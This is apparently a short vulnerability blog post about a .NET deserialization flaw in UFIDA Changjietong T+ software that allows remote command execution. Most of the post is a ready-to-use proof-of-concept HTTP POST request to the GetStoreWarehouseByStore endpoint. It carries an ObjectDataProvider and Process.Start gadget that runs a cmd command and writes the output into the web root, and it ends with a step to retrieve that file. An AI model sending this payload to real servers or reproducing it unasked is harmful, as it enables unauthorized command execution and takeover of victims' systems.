Post

Ufida Changjietong T+ Getstorewarehousebystore Remote Command Execution Vulnerability

Ufida Changjietong T+ Getstorewarehousebystore Remote Command Execution Vulnerability

UFIDA Changjietong T+ GetStoreWarehouseByStore Remote Command Execution Vulnerability

Vulnerability Description

UFIDA Changjietong T+ GetStoreWarehouseByStore has a .net deserialization vulnerability, resulting in remote command execution and controlling the server

Vulnerability Impact

UFIDA Changjietong T+

Network surveying and mapping

Vulnerability reappears

Login page

img

Verify POC

POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Connection: close
Content-Length: 668
X-Ajaxpro-Method: GetStoreWarehouseByStore
Accept-Encoding: gzip

{
  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
    "MethodName":"Start",
    "ObjectInstance":{
      "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
      "StartInfo":{
        "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "FileName":"cmd",
        "Arguments":"/c whoami > C:/Progra~2/Chanjet/TPlusStd/WebSite/2RUsL6jgx9sGX4GItQBcVfxarBM.txt"
      }
    }
  }
}

img

/tplus/xxx.txt

img

This post is licensed under CC BY 4.0 by the author.